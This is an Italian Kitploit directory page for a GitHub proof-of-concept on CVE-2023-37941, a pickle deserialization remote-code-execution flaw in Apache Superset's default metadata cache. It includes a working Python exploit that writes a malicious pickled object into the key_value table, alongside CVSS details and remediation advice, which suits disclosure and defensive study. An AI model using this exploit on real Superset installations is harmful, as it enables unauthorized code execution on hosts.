Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-37941 — Exploit sulla cache predefinita di superset utilizzando pickle | Kitploit
Strumenti/GitHubGitHub/barroqueiro/cve-2023-37941
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo Payload
GitHubbarroqueiro/cve-2023-37941

CVE-2023-37941

Exploit sulla cache predefinita di superset utilizzando pickle

Vedi Repository
123 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Sfruttamento della RCE tramite Pickle nella cache predefinita di Superset

Informazioni

root@kitploit:~
[ Autore ] Dinis Cruz
[ Progetto ] Superset

Descrizione

Apache Superset offre diverse opzioni per la cache, tutte basate su Flask-Caching. È fornita una cache integrata che serializza i valori per un successivo recupero. Questa serializzazione e recupero sono effettuati utilizzando Pickle, che permette la de-serializzazione di oggetti Python e quindi l'esecuzione di codice.

La cache integrata scrive informazioni nel database dei metadati, il che significa che un attaccante con accesso a questo database può escalare i propri privilegi e ottenere accesso remoto alla macchina/container che ospita Superset.

URL [o Componente] Affetto

La classe MetaStoreCache, che utilizza la classe PickleKeyValueCodec per la serializzazione delle informazioni.

Proof of Concept (PoC)

Questo problema è stato riprodotto creando prima un'installazione pulita di Superset che utilizzerà la cache integrata come predefinita.

Con la già consolidata conoscenza che è necessario l'accesso al database per sfruttare questo problema, possiamo aggiornare i valori di tutti i valori in cache con l'exploit pickle. Successivamente, una volta che il valore viene restituito all'utente, il modulo pickle deserializzerà i dati ed eseguirà il nostro codice. Di seguito è riportato un PoC in Python.

root@kitploit:~
import os
import psycopg2
import pickle5 as pickle

class RCE:
    def __reduce__(self):
        cmd = ('touch /tmp/evil.sh')
        return os.system, (cmd,)

def exploit():
    pickled = pickle.dumps(RCE())

    con = psycopg2.connect(
        database="superset",
        user="superset",
        password="superset",
        host="localhost",
        port= '5432'
    )

    cursor = con.cursor()

    cursor.execute('''UPDATE key_value SET value = %s''', (psycopg2.Binary(pickled),))
    con.commit()

if __name__ == '__main__':
    exploit()

Questo script aggiorna tutti i valori memorizzati nella cache all'interno del database, e una volta che i dati vengono restituiti all'utente, viene creato un file evil.sh all'interno della directory /tmp a scopo dimostrativo.

Utenti Affetti

Tutti gli utenti potrebbero essere impattati.

CWE

  • CWE-502

Punteggio CVSS

  • Vettore d'attacco (AV) - Rete (N)
  • Complessità d'attacco (AC) - Bassa (L)
  • Privilegi richiesti (PR) - Alta (H)
  • Interazione dell'utente (UI) - Nessuna (N)
  • Ambito (S) - Modificato (C)
  • Riservatezza (C) - Alta (H)
  • Integrità (I) - Alta (H)
  • Disponibilità (A) - Alta (H)

Punteggio: 9.1

Correzione Suggerita (Rimedi)

Sebbene la correzione spetti al team di Superset, il grosso problema risiede nell'uso di pickle per la serializzazione dei dati. Per quanto ho capito dal commit #23888, è stato fatto un cambiamento per rimuovere la serializzazione Pickle da altri componenti, ma questa è stata mantenuta a causa della necessità di "gestire tipi binari arbitrari". La soluzione più pulita sarebbe passare a un altro meccanismo di serializzazione, tuttavia si potrebbe implementare un unpickler ristretto, che non è una soluzione sicura ma richiederebbe probabilmente meno lavoro nell'implementazione.

Prerequisiti

Accesso al database dei metadati in uso dall'installazione di Superset.

Strumenti Utilizzati e Configurazione Richiesta

Nessuna configurazione speciale, solo un interprete Python per generare il payload; l'introduzione del payload malevolo nel database può essere effettuata in vari modi.

Scarica lo strumento